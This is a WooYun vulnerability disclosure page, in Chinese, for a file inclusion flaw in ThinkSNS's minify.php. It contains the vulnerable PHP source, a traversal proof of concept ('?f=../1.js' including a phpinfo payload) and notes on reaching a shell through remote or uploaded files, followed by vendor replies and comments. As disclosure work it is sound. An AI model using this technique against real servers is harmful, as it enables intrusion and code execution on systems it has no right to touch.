当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(15) 关注此漏洞

缺陷编号: WooYun-2013-45130

漏洞标题: ThinkSNS一处任意文件包含

相关厂商: ThinkSNS

漏洞作者: 齐迹

提交时间: 2013-12-06 15:39

公开时间: 2014-03-06 15:40

漏洞类型: 文件包含

危害等级: 中

自评Rank: 6

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 文件包含漏洞利用技巧

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-06: 细节已通知厂商并且等待厂商处理中
2013-12-06: 厂商已经确认,细节仅向厂商公开
2013-12-09: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-01-30: 细节向核心白帽子及相关领域专家公开
2014-02-09: 细节向普通白帽子公开
2014-02-19: 细节向实习白帽子公开
2014-03-06: 细节向公众公开

简要描述:

ThinkSNS一处任意文件包含。一定条件下可以getshell

详细说明:

问题发生在

public/minify.php

code 区域
allowed_content_types	=	array('js','css');

$getfiles = explode(',', strip_tags($_GET['f']));

//解析参数
$gettype = (isset($_GET['t']) && $_GET['t']=='css')?'css':'js';

if($gettype=='css'){
$content_type = 'text/css';
}elseif($gettype=='js'){
$content_type = 'application/x-javascript';
}else{
die('not allowed content type');
}

header ("content-type: ".$content_type."; charset: utf-8"); //注意修改到你的编码
header ("cache-control: must-revalidate"); //
header ("expires: " . gmdate ("D, d M Y H:i:s", time() + 60 * 60 * 24 * 7 ) . " GMT"); //过期时间

ob_start("compress");

function compress($buffer) {//去除文件中的注释
$buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);
return $buffer;
}

foreach($getfiles as $file){
$fileType = strtolower( substr($file, strrpos($file, '.') + 1 ) );
if(in_array($fileType, $allowed_content_types)){
//包含你的全部css文档
include($file);
}else{
echo 'not allowed file type:'.$file;
}
}





通过$_GET['f'] 可以传递一个js或者css后缀的文件,内容为php脚本即可被包含并执行。



当allow_url_fopen=On 的情况下 利用就非常简单

直接远程文件。

当为Off的时候 就想办法上传一个js或者css文件到服务器 然后包含即可被执行!

漏洞证明:

写一个1.js在网站根目录

code 区域
<?php
phpinfo();





访问

http://xxxxxx/public/minify.php?f=../1.js



thinksns_include.jpg

修复方案:

对参数进行严格过滤

版权声明:转载请注明来源 齐迹@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2013-12-06 15:57

厂商回复:

非常感谢!但是我们测试后无法直接包含远程文件。服务器上也不允许上传js、css文件,那么包含本地js/css文件有什么方法能造成比较大的危害呢?如果有,请再提交一个漏洞,给你高分,谢谢!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-12-06 15:43 | zzR 认证白帽子 ( 核心白帽子 | Rank:1408 漏洞数:125 | 东方红**联盟欢迎你-0-)
    0

    期待

  2. 2013-12-06 16:11 | 齐迹 ( 普通白帽子 | Rank:804 漏洞数:104 | 重庆地区招聘安全工程师。sec.zbj.com欢迎...)
    1

    @ThinkSNS 我勒个去。Include 的文件和后缀没有关系 和文件内容有关!没有看到phpinfo已经出来了吗?

  3. 2013-12-06 16:20 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)
    0

    @齐迹 include包含?放开这妹子,让我来!

  4. 2013-12-06 16:44 | teamtopkarl ( 实习白帽子 | Rank:48 漏洞数:7 | 对网络安全事业一直保持着激情)
    0

    我早发现了一处,利用解析漏洞还是可以利用的

  5. 2013-12-09 15:07 | ThinkSNS(乌云厂商)
    0

    @齐迹 经测试,在开启allow_url_include时可以远程包含,allow_url_fopen开启也不能利用这个漏洞。因为php.ini默认不开启这个配置,所以我们没测试重现。漏洞还是要发包修复的,只是危害性小了一些,非常感谢。

登录后才能发表评论,请先 登录